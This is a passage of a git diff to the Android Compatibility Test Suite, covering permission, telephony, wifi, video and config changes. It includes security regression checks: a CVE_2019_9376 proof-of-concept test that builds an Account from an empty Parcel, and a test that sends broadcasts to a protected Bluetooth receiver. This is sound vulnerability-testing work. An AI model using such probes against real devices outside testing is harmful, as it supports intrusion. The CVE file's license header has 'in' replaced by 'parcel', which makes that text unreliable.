-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-class PermissionAllServicesTest : BasePermissionTest() {
-
-    // "All services" screen is not supported on Auto in T
-    @Before
-    fun assumeNotAuto() = assumeFalse(isAutomotive)
-
-    val locationManager = context.getSystemService(LocationManager::class.java)!!
-
-    @Test
-    fun testAllServicesPreferenceShownWhenAppIsLocationProviderAndCanHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_2, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-                waitFindObject(By.textContains(ALL_SERVICES_LABEL))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_2, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_2)
-    }
-
-    @Test
-    fun testAllServicesSummaryShowsWhenAppIsLocationProviderAndCanHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_2, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-                waitFindObject(By.textContains(SUMMARY))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_2, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_2)
-    }
-
-    @Test
-    fun testAllServicesPreferenceNotShownWhenAppCannotHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_1, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-                assertNull(waitFindObjectOrNull(By.textContains(ALL_SERVICES_LABEL)))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_1, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_1)
-    }
-
-    @Test
-    fun testAllServicesPreferenceNotShownWhenAppIsNotLocationProvider() {
-        installPackage(NON_LOCATION_APP_APK_PATH, grantRuntimePermissions = true)
-
-        eventually({
-            try {
-                launchAppInfoActivity(NON_LOCATION_APP_PACKAGE_NAME)
-                assertNull(waitFindObjectOrNull(By.textContains(ALL_SERVICES_LABEL)))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(NON_LOCATION_APP_APK_PATH, requireSuccess = false)
-    }
-
-    private fun allowPackagesToMockLocation(packageName: String) {
-        setOpMode(packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED)
-        setOpMode(
-            context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED
-        )
-    }
-
-    private fun launchAppInfoActivity(packageName: String) {
-        context.startActivity(
-            Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
-                data = Uri.parse("package:$packageName")
-                addCategory(Intent.CATEGORY_DEFAULT)
-                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
-                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
-            })
-    }
-
-    private fun enableAppAsLocationProvider(appPackageName: String) {
-        // Add the test app as location provider.
-        val future = startActivityForFuture(
-            Intent().apply {
-                component = ComponentName(
-                    appPackageName, "$appPackageName.AddLocationProviderActivity"
-                )
-            })
-
-        val result = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
-        assertEquals(Activity.RESULT_OK, result.resultCode)
-        assertTrue(
-            callWithShellPermissionIdentity {
-                locationManager.isProviderPackage(appPackageName)
-            }
-        )
-    }
-
-    companion object {
-        const val LOCATION_PROVIDER_APP_APK_PATH_1 =
-            "$APK_DIRECTORY/CtsAccessMicrophoneAppLocationProvider.apk"
-        const val NON_LOCATION_APP_APK_PATH = "$APK_DIRECTORY/CtsUsePermissionAppLatest.apk"
-        const val LOCATION_PROVIDER_APP_APK_PATH_2 =
-            "$APK_DIRECTORY/CtsAppLocationProviderWithSummary.apk"
-        const val NON_LOCATION_APP_PACKAGE_NAME = "android.permission3.cts.usepermission"
-        const val LOCATION_PROVIDER_APP_PACKAGE_NAME_1 =
-            "android.permission3.cts.accessmicrophoneapplocationprovider"
-        const val LOCATION_PROVIDER_APP_PACKAGE_NAME_2 =
-            "android.permission3.cts.applocationproviderwithsummary"
-        const val APP_LABEL = "LocationProviderWithSummaryApp"
-        const val ALL_SERVICES_LABEL = "All Services"
-        const val SUMMARY = "Services summary."
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
index 31e5449..367ae31 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
@@ -22,13 +22,11 @@
 import android.content.Intent
 import android.location.LocationManager
 import android.os.Build
-import android.provider.DeviceConfig
 import android.support.test.uiautomator.By
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.AppOpsUtils.setOpMode
 import com.android.compatibility.common.util.CtsDownstreamingTest
 import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertTrue
@@ -47,7 +45,6 @@
     private val micLabel = packageManager.getPermissionGroupInfo(
         android.Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
     val locationManager = context.getSystemService(LocationManager::class.java)!!
-    private var wasEnabled = false
 
     @Before
     fun installAppLocationProviderAndAllowMockLocation() {
@@ -63,15 +60,11 @@
         setOpMode(
             context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED
         )
-        wasEnabled = setSubattributionEnabledStateIfNeeded(true)
     }
 
     @After
     fun teardown() {
         locationManager.removeTestProvider(APP_PACKAGE_NAME)
-        if (!wasEnabled) {
-            setSubattributionEnabledStateIfNeeded(false)
-        }
     }
 
     @Test
@@ -115,24 +108,10 @@
         assertEquals(Activity.RESULT_OK, result.resultCode)
     }
 
-    private fun setSubattributionEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
-        var currentlyEnabled = false
-        runWithShellPermissionIdentity {
-            currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
-                FLAG_SUBATTRIBUTION, false)
-            if (currentlyEnabled != shouldBeEnabled) {
-                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, FLAG_SUBATTRIBUTION,
-                    shouldBeEnabled.toString(), false)
-            }
-        }
-        return currentlyEnabled
-    }
-
     companion object {
         const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneAppLocationProvider.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapplocationprovider"
         const val APP_LABEL = "LocationProviderWithMicApp"
         const val ATTRIBUTION_LABEL = "Attribution Label"
-        const val FLAG_SUBATTRIBUTION = "permissions_hub_subattribution_enabled"
     }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt
new file mode 100644
index 0000000..7274779
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import com.android.compatibility.common.util.CtsDownstreamingTest
+import org.junit.Test
+
+// NoOp test class so that at least one GTS test passes on all platforms.
+// b/235606392 for reference. Will be removed once we move all downstreaming
+// CtsPermission3TestCases to GTS.
+@CtsDownstreamingTest
+class PermissionNoOpGtsTest {
+
+    @Test
+    fun shouldAlwaysPass() {}
+}
\ No newline at end of file
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 90e613d..598a59a 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -37,7 +37,6 @@
 import android.support.test.uiautomator.StaleObjectException
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiObject2
-import android.support.test.uiautomator.UiScrollable
 import android.support.test.uiautomator.UiSelector
 import androidx.annotation.RequiresApi
 import androidx.test.filters.SdkSuppress
@@ -455,8 +454,6 @@
         }
 
         if (safetyCenterEnabled) {
-            val appView = UiScrollable(UiSelector().scrollable(true))
-            appView.scrollIntoView(UiSelector().resourceId(SAFETY_CENTER_ITEM_ID))
             var micView = waitFindObjectOrNull(By.text(micLabel))
             assertNotNull("View with text $micLabel not found", micView)
             var camView = waitFindObjectOrNull(By.text(cameraLabel))
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index a53bf88..f66df87 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 6c7870d9..ab05f91 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -15,14 +15,17 @@
  */
 package android.security.cts;
 
-import org.junit.Test;
+import static android.os.Process.BLUETOOTH_UID;
 
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
@@ -49,9 +52,14 @@
   private void genericIntentTest(String action) throws SecurityException {
     try {
       Intent should_be_protected_broadcast = new Intent();
-      should_be_protected_broadcast.setComponent(
-          new ComponentName("com.android.bluetooth.services",
-            "com.android.bluetooth.opp.BluetoothOppReceiver"));
+
+      String bluetoothPackageName = getInstrumentation().getContext().getPackageManager()
+          .getPackagesForUid(BLUETOOTH_UID)[0];
+
+      ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName,
+          "com.android.bluetooth.opp.BluetoothOppReceiver");
+
+      should_be_protected_broadcast.setComponent(oppLauncherComponent);
       should_be_protected_broadcast.setAction(prefix + action);
       getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
new file mode 100644
index 0000000..b5896f1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except parcel compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to parcel writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.os.Parcel;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2019_9376 {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 129287265)
+    @Test
+    public void testPocCVE_2019_9376() {
+        try {
+            Parcel parcel = Parcel.obtain();
+            assumeNotNull(parcel);
+            Account acc = new Account(parcel);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/129287265 !!");
+        } catch (Exception e) {
+            if (e instanceof android.os.BadParcelableException) {
+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 357d38d..d9c0039 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,14 +22,20 @@
  */
 package android.security.cts;
 
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import android.app.Instrumentation;
+import static org.hamcrest.Matchers.is;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeThat;
+
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.graphics.SurfaceTexture;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecList;
@@ -37,66 +43,51 @@
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaPlayer;
-import android.opengl.GLES20;
-import android.opengl.GLES11Ext;
+import android.media.TimedText;
 import android.os.Looper;
+import android.os.Parcel;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.os.Parcel;
 import android.platform.test.annotations.AsbSecurityTest;
+import android.security.NetworkSecurityPolicy;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
 
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
+import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.BindException;
+import java.net.ServerSocket;
+import java.net.Socket;
 import java.net.URL;
 import java.nio.ByteBuffer;
-import java.io.FileOutputStream;
-import java.io.ObjectInputStream;
-import java.io.OutputStream;
-import java.io.InputStream;
-import java.net.BindException;
-import java.net.Socket;
-import java.net.ServerSocket;
-import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
 import java.util.regex.Pattern;
 
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import android.security.cts.R;
-
-import android.security.NetworkSecurityPolicy;
-import android.media.TimedText;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Rule;
-import org.junit.rules.TestName;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-import static org.hamcrest.Matchers.is;
-
 /**
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
@@ -2415,7 +2406,8 @@
                 MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
                 try {
                     ByteBuffer [] inputBuffers = codec.getInputBuffers();
-                    while (true) {
+                    long startTime = System.nanoTime();
+                    while (System.nanoTime() - startTime < TIMEOUT_NS) {
                         int flags = ex.getSampleFlags();
                         long time = ex.getSampleTime();
                         ex.getCachedDuration();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e073153..3757b63 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -39,7 +39,6 @@
 import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -1260,11 +1259,14 @@
                 Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
 
         for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
-            countryCode = mTelephonyManager.getNetworkCountryIso(i);
-
-            assertTrue("Country code '" + countryCode + "' did not match "
-                    + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
-                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+            SubscriptionInfo subscriptionInfo =
+                    mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i);
+            if (subscriptionInfo != null) {
+                countryCode = mTelephonyManager.getNetworkCountryIso(i);
+                assertTrue("Country code '" + countryCode + "' did not match "
+                                + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
+                        Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+            }
         }
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 8f548db..8e6e4c9 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -16,6 +16,8 @@
 
 package android.view.cts;
 
+import static android.server.wm.ActivityManagerTestBase.isTablet;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -25,6 +27,7 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.mockito.Matchers.anyInt;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.any;
@@ -3898,6 +3901,9 @@
 
     @Test
     public void testGetWindowVisibleDisplayFrame() {
+        // TODO (b/228380863): re-enable the test once the configuration calculation issue resolved
+        // on device with taskbar.
+        assumeFalse(isTablet());
         Rect outRect = new Rect();
         View view = new View(mActivity);
         // mAttachInfo is null
diff --git a/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java b/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
index 7eba35c..e4ead8d 100644
--- a/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
+++ b/tests/tests/virtualdevice/app/src/android/virtualdevice/streamedtestapp/MainActivity.java
@@ -386,7 +386,7 @@
             }
             byte value = 0;
             for (int i = 0; i < audioData.length; i++) {
-                if (audioData[i] != 0) {
+                if (audioData[i] == BYTE_VALUE) {
                     value = audioData[i];
                     break;
                 }
@@ -413,7 +413,7 @@
             }
             short value = 0;
             for (int i = 0; i < audioData.length; i++) {
-                if (audioData[i] != 0) {
+                if (audioData[i] == SHORT_VALUE) {
                     value = audioData[i];
                     break;
                 }
@@ -440,7 +440,8 @@
             }
             float value = 0f;
             for (int i = 0; i < audioData.length; i++) {
-                if (Float.compare(audioData[i], 0.0f) != 0) {
+                float roundOffDiff = Math.abs(audioData[i] - FLOAT_VALUE);
+                if (roundOffDiff < 0.001f) {
                     value = audioData[i];
                     break;
                 }
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 26b5b7f..d063b40 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -629,7 +629,7 @@
      * then the attach/destroy will not correspond to enable/disable and will not result in a new
      * MAC address being generated.
      */
-    public void testAttachDiscoveryAddressChanges() {
+    public void testAttachDiscoveryAddressChanges() throws InterruptedException {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
         }
@@ -638,6 +638,7 @@
         Set<TestUtils.MacWrapper> macs = new HashSet<>();
 
         for (int i = 0; i < numIterations; ++i) {
+            Thread.sleep(1000);
             AttachCallbackTest attachCb = new AttachCallbackTest();
             IdentityChangedListenerTest identityL = new IdentityChangedListenerTest();
             mWifiAwareManager.attach(attachCb, identityL, mHandler);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 3b004dd..a054aa5 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -1880,6 +1880,7 @@
         TestExecutor executor = new TestExecutor();
         TestSoftApCallback lohsSoftApCallback = new TestSoftApCallback(mLock);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        setWifiEnabled(false);
         boolean wifiEnabled = mWifiManager.isWifiEnabled();
         try {
             uiAutomation.adoptShellPermissionIdentity();
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
index 973e2dd..aa4c8a7 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
@@ -16,7 +16,10 @@
 
 package android.video.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.media.MediaFormat;
+import android.os.Build;
 import android.util.Log;
 
 import androidx.test.filters.LargeTest;
@@ -31,8 +34,6 @@
 import java.util.Collection;
 import java.util.List;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * Operating rate is expected to be met by encoder only in surface mode and not in byte buffer mode.
  * As camera has limited frame rates and resolutions, it is not possible to test encoder
@@ -113,8 +114,12 @@
                 " Encoder: %s, Key-priority: %d :: ", mDecoderMime, mDecoderName, mHeight,
                 mEncoderMime, mEncoderName, mKeyPriority);
         int maxExpectedFps = getMaxExpectedFps(mWidth, mHeight);
+        double fpsToleranceFactor = FPS_TOLERANCE_FACTOR;
+        if (VNDK_VERSION <= Build.VERSION_CODES.TIRAMISU) {
+            fpsToleranceFactor = Math.min(0.9, fpsToleranceFactor);
+        }
         double expectedFps =
-                Math.min(mOperatingRateExpected * FPS_TOLERANCE_FACTOR, maxExpectedFps);
+                Math.min(mOperatingRateExpected * fpsToleranceFactor, maxExpectedFps);
         Log.d(LOG_TAG, log + "act/exp fps: " + mAchievedFps + "/" + expectedFps);
         assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + mAchievedFps
                 + "/" + expectedFps, mAchievedFps >= expectedFps);
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
deleted file mode 100644
index cf74572..0000000
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS plan for foldable devices">
-
-    <include name="cts" />
-
-    <option name="plan" value="cts-foldable" />
-    <option name="result-attribute" key="display_mode" value="1" />
-
-    <!-- CTS tests to be excluded in this plan-->
-    <option name="compatibility:exclude-filter" value="CtsDeqpTestCases" />
-
-    <!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
-    <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
-         launcher always visible on one of the screens. -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
-    <!-- b/203779972: CtsCameraTestCases failures due to mismatching orientation between
-         device and camera sensor. -->
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
-    <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index f8b05bf..8320992 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -261,6 +261,9 @@
     <!-- b/198021503 -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.StorageHostTest#testFullDisk" />
 
+    <!-- b/231976012 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.DocumentsTest#testCreateWebLink" />
+
     <!-- b/216546060 -->
     <option name="compatibility:exclude-filter" value="CtsFragmentTestCases android.fragment.cts.FragmentAnimatorTest#saveWhileAnimatingAway" />
 
@@ -275,4 +278,7 @@
     <option name="compatibility:exclude-filter" value="CtsMonkeyTestCases com.android.cts.monkey.CategoryTest#testSingleCategory" />
     <option name="compatibility:exclude-filter" value="CtsMonkeyTestCases com.android.cts.monkey.CategoryTest#testMultipleCategories" />
 
+    <!-- b/208909067 -->
+    <option name="compatibility:exclude-filter" value="CtsDisplayTestCases android.display.cts.DisplayTest#testActivityContextGetMetrics" />
+
 </configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index ed45728..21ddfef 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -107,6 +107,7 @@
                             "telecom",
                             "tv",
                             "uitoolkit",
+                            "uwb",
                             "vr",
                             "webview",
                             "wifi"));